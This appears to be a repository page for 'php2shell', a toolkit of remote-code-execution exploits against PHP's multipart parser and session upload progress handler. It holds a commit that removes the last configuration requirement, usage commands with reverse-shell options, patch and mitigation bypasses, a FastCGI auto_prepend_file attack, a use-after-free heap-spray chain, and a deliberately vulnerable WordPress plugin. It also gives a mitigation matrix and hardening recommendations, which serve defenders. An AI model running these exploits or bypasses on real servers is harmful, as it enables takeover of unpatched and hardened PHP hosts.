neko e02c9f3122 Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE
PHP checks Content-Length against post_max_size before parsing multipart
bodies, but Transfer-Encoding: chunked requests have no Content-Length.
The full chunked body is processed without any size check, allowing the
exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M.

This removes the last non-default configuration requirement. The exploit
now achieves full RCE against stock php:*-apache Docker images with zero
configuration changes (4/4 confirmed on php:8.4.26-apache).

Changes:
- post() auto-switches to chunked TE for bodies over 8MB
- Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit)
- README rewritten to document the working three-stage RCE chain
- docker-compose.yml adds stock variant for testing
2026-10-22 12:58:04 +00:00

php2shell — CVE-2026-109618 & CVE-2026-109619

Remote Code Execution exploits for two critical PHP vulnerabilities in the multipart parser and session upload progress handler. Includes three bypass exploits that defeat the official security patch and all recommended mitigations, plus a no-LFI chain that removes the application from the attack entirely.

No external dependencies — pure Python 3 stdlib.

Vulnerabilities

CVE-2026-109618 — OOM in the multipart parser (rfc1867.c) triggers zend_bailout(), which longjmps past MULTIPART_EVENT_END and skips session cleanup. A session file poisoned via PHP_SESSION_UPLOAD_PROGRESS persists on disk with attacker-controlled PHP code. LFI includes it for RCE.

CVE-2026-109619 — PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data verbatim into the session file. With cleanup=0, or via race condition against cleanup=1, the poisoned session file is includable via LFI for RCE.

Affected: PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.

Exploits

Script Target Description
cve-2026-109618/exploit.py Unpatched PHP OOM → session persistence → LFI → RCE
cve-2026-109619/exploit.py Unpatched PHP Session poisoning (direct + race) → LFI → RCE
session-deser/exploit.py Any PHP Handler mismatch → deserialization → RCE (no LFI)
wordpress-exploit/exploit_wp.py WordPress Auto-detecting wrapper for both CVEs
bypass/race_bypass_patched.py Patched PHP TOCTOU race — session data on disk during upload
bypass/rlimit_bypass_patched.py Patched PHP mmap() failure via RLIMIT_AS bypasses the patch
bypass/procfd_bypass_hardened.py Fully hardened /proc/PID/fd temp file — bypasses all mitigations
bypass/waf_bypass_test.py WAF rules Tests Content-Type evasion against WAF rules
nolfi/exploit_nolfi.py No LFI available Served save_path + fpm pathinfo — RCE with no application include
fcgi/exploit_fcgi.py FPM reachable FastCGI slow-drip + auto_prepend_file — RCE, default config, no LFI
uaf-rce/exploit.py Apache mod_php OOM → UAF via stale BG(serialize) → heap spray → RCE, no LFI, no framework

Prerequisites

  • Python 3.8+
  • Target running PHP-FPM with session.upload_progress.enabled=1 (default)
  • A Local File Inclusion vector in the target application
  • Known or guessable session.save_path (common: /tmp, /var/lib/php/sessions)

Usage

# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit

# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race

# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'

# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'

# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'

# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345

All exploits support --cmd, --lhost/--lport (reverse shell), and --trigger-only. Use --session-path and --lfi-param to override auto-detection.

RCE Without LFI

nolfi/exploit_nolfi.py turns the same session-poisoning primitive into RCE with no application include at all. The consumer is php-fpm's own request routing instead of application code:

  1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into <save_path>/sess_<SID> during multipart parsing. This fires before script dispatch, so any PHP-handled URL works — a 404 is enough.
  2. If session.save_path is web-served, the session file is directly requestable over HTTP.
  3. With security.limit_extensions empty (common in production fpm pools), fpm executes the extensionless session file through the classic cgi.fix_pathinfo route: GET /sessions/sess_<SID>/x.php?c=id.
  4. With cleanup=1 (default) the file is truncated at upload end, so execution is raced against the upload window (reliable on streaming stacks, parse-time-limited on buffering stacks), or made deterministic with --oom: the CVE-2026-109618 bailout longjmps past cleanup and the file persists.

Requires session.upload_progress.enabled=1 and memory_limit headroom for the OOM variant. See nolfi/FINDINGS.md for the full analysis, including why the session decoder itself can never be used as the consumer: the php serializer aborts the entire write on | in any key (leaving a 0-byte file), the raw attacker bytes always land in the key which is never unserialized, and mod_files rejects any SID that could turn the filename into an include target.

# classify the target: which URL prefixes serve session.save_path
python3 nolfi/exploit_nolfi.py -t http://target/ --probe

# interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444

# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
    --oom --fields 30000 --fsize 512 --cmd 'id'

nolfi/check_deploy.php reports whether a deployment meets the two preconditions (save_path web-served, empty limit_extensions). Drop it on the target, request it once, remove it.

RCE via FastCGI (Default Config)

fcgi/exploit_fcgi.py achieves RCE with no LFI, no libraries, no special PHP configuration. It only requires raw FastCGI access to PHP-FPM (TCP or unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port scenarios.

The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM worker in the multipart parser (keeping the poisoned session file on disk) while a second FastCGI request to another worker sets PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>, causing PHP to include the session file before any script. The attacker's PHP code executes.

security.limit_extensions does not block this: it only restricts SCRIPT_FILENAME, not files loaded by auto_prepend_file. Setting php_admin_value[auto_prepend_file] in the pool config also does not help: raw FastCGI PHP_VALUE overrides it (verified on PHP 8.3.6).

# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'

# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'

# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
    --script-file /var/www/html/index.php \
    --session-path /tmp --cmd 'id'

# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
    --lhost 10.0.0.1 --lport 4444

See fcgi/FINDINGS.md for the full analysis, test results, and why no pool-level configuration can prevent this when FastCGI is reachable.

UAF RCE (Apache mod_php, No LFI, No Framework)

uaf-rce/exploit.py exploits the same CVEs through a pure memory corruption path that requires no LFI, no framework, no libraries, and no non-default PHP settings. The only SAPI requirement is Apache mod_php with prefork MPM (default on Debian/Ubuntu).

The attack triggers an OOM during multipart parsing to leave stale BG(serialize) state in the surviving Apache prefork worker. On the next request, the session upload progress handler reuses the stale pointer (a freed 64-byte ZendMM slot) as a php_serialize_data struct. Heap spray reclaims the slot with attacker data shaped as a fake HashTable, giving control of pDestructor for arbitrary function call.

# Confirm all primitives (OOM, worker survival, session poison, stale state)
python3 uaf-rce/exploit.py --target http://host:port/index.php --oom-only

# Full chain: OOM + heap spray + UAF trigger
python3 uaf-rce/exploit.py --target http://host:port/index.php

# With crash detection
python3 uaf-rce/exploit.py --target http://host:port/index.php --crash-test

PHP-FPM is not vulnerable: workers exit on bailout (code 70), so stale state never persists across requests. See uaf-rce/FINDINGS.md for the full vulnerability analysis and patch details.

Patch Bypass Findings

The PHP 8.4.27 patch has three confirmed bypass paths to RCE:

1. Race condition (TOCTOU) — Session upload progress data exists on disk during file upload. Cleanup only runs at MULTIPART_EVENT_END. A concurrent LFI request includes the file during the upload window. Inherent to the feature design.

2. RLIMIT_AS / mmap() failure — The patch intercepts OOM from PHP's memory_limit but not from OS-level limits. With memory_limit=-1 and RLIMIT_AS or cgroup memory limits, mmap() fails through an unpatched code path. Worker exits code 1 (not the patched code 70), session persists.

3. /proc/PID/fd temp file — During multipart upload, PHP's temp file is includable via /proc/<pid>/fd/<N> from another FPM worker. No session poisoning needed. Bypasses every recommended mitigation.

4. Served save_path (no LFI) — When session.save_path is web-served and the fpm pool leaves security.limit_extensions empty, the poisoned session file is executed by fpm itself via PATH_INFO routing. No application cooperation, no include primitive. See nolfi/FINDINGS.md.

5. FastCGI auto_prepend_file (default config) — When FPM's FastCGI socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker drips a multipart upload via raw FastCGI to hold a worker in the parser while a second request sets PHP_VALUE: auto_prepend_file=<session_file>. No LFI, no special config, no library. php_admin_value does not block it. See fcgi/FINDINGS.md.

Mitigation Matrix

Mitigation Race RLIMIT /proc/fd served-path fcgi-prepend
Patch alone FAIL FAIL FAIL FAIL FAIL
+ upload_progress=0 OK OK FAIL OK OK
+ hidepid=2 on /proc FAIL FAIL OK FAIL FAIL
+ upload_progress=0 + hidepid=2 OK OK OK OK OK
+ limit_extensions=.php .phar — — — OK FAIL
+ save_path not web-served — — — OK FAIL
+ block FPM network access — — — — OK
Fix the LFI OK OK OK FAIL FAIL

Recommendations

  1. Set session.upload_progress.enabled=0 in php.ini
  2. Mount /proc with hidepid=2 (or hidepid=invisible)
  3. Fix any LFI vulnerabilities in applications
  4. Set security.limit_extensions = .php .phar explicitly in every fpm pool
  5. Keep session.save_path outside any web-served tree
  6. Set open_basedir to restrict filesystem access
  7. Block network access to FPM: use unix sockets with restricted permissions, firewall TCP port 9000

WordPress

The WordPress exploit requires a plugin that calls session_start() and has an LFI vector. Two demo plugins are included:

  • wordpress-exploit/vuln-plugin.php — Minimal mu-plugin with session + LFI
  • wordpress/wp-content/plugins/developer-toolkit/ — Realistic plugin with template preview, log viewer, and session-based features

Install as mu-plugin: cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/

Disclaimer

For authorized security testing and research only. Obtain proper authorization before testing against any system you do not own.

S
Description
No description provided
Readme
268 KiB
Languages
Python 99.8%
PHP 0.2%